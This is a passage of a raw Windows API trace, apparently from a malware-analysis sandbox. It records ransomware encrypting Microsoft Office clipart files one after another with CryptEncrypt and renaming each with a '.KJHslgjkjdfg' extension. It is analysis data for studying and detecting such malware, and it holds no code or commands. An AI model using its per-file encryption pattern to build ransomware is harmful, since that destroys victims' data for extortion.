lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.810] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.810] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.810] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.810] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.811] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.811] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.811] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ca4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ca4, lpOverlapped=0x0) returned 1 [0210.813] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7cb0, dwBufLen=0x7cb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7cb0) returned 1 [0210.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.813] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7cb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7cb0, lpOverlapped=0x0) returned 1 [0210.814] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.814] SetEndOfFile (hFile=0x130) returned 1 [0210.816] GetProcessHeap () returned 0x990000 [0210.816] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.816] GetProcessHeap () returned 0x990000 [0210.816] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf.kjhslgjkjdfg")) returned 1 [0210.818] CloseHandle (hObject=0x130) returned 1 [0210.818] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e6bb00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e6bb00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00268_.WMF", cAlternateFileName="")) returned 1 [0210.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.819] GetProcessHeap () returned 0x990000 [0210.819] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.819] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.820] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.825] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.825] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.825] GetProcessHeap () returned 0x990000 [0210.825] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.825] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.825] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.825] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.825] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.825] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.825] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.826] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.826] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.826] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.826] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf5c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf5c, lpOverlapped=0x0) returned 1 [0210.826] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf60, dwBufLen=0xf60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf60) returned 1 [0210.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.826] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf60, lpOverlapped=0x0) returned 1 [0210.826] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.826] SetEndOfFile (hFile=0x130) returned 1 [0210.828] GetProcessHeap () returned 0x990000 [0210.829] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.829] GetProcessHeap () returned 0x990000 [0210.829] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf.kjhslgjkjdfg")) returned 1 [0210.836] CloseHandle (hObject=0x130) returned 1 [0210.836] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c59500, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7c59500, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1dac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00286_.WMF", cAlternateFileName="")) returned 1 [0210.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.839] GetProcessHeap () returned 0x990000 [0210.839] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.839] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.839] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.841] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.841] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.841] GetProcessHeap () returned 0x990000 [0210.841] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.841] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.841] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.841] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.841] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.841] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.841] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.842] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.842] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.842] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1dac, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1dac, lpOverlapped=0x0) returned 1 [0210.843] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1db0, dwBufLen=0x1db0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1db0) returned 1 [0210.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.843] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1db0, lpOverlapped=0x0) returned 1 [0210.843] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.843] SetEndOfFile (hFile=0x130) returned 1 [0210.845] GetProcessHeap () returned 0x990000 [0210.845] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.845] GetProcessHeap () returned 0x990000 [0210.845] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf.kjhslgjkjdfg")) returned 1 [0210.846] CloseHandle (hObject=0x130) returned 1 [0210.847] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ab6f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38ab6f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1268, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00298_.WMF", cAlternateFileName="")) returned 1 [0210.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.848] GetProcessHeap () returned 0x990000 [0210.848] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.848] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.849] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.851] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.851] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.851] GetProcessHeap () returned 0x990000 [0210.851] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.851] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.851] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.851] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.851] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.851] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.851] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.851] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.852] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.852] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.852] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1268, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1268, lpOverlapped=0x0) returned 1 [0210.853] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1270, dwBufLen=0x1270 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1270) returned 1 [0210.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.853] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1270, lpOverlapped=0x0) returned 1 [0210.853] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.853] SetEndOfFile (hFile=0x130) returned 1 [0210.854] GetProcessHeap () returned 0x990000 [0210.854] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.854] GetProcessHeap () returned 0x990000 [0210.854] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf.kjhslgjkjdfg")) returned 1 [0210.856] CloseHandle (hObject=0x130) returned 1 [0210.856] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89bcf00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00308_.WMF", cAlternateFileName="")) returned 1 [0210.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.858] GetProcessHeap () returned 0x990000 [0210.858] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.858] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.858] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.858] GetProcessHeap () returned 0x990000 [0210.858] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.858] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.858] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.858] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.860] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.860] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.860] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.860] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.860] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.861] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.861] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, 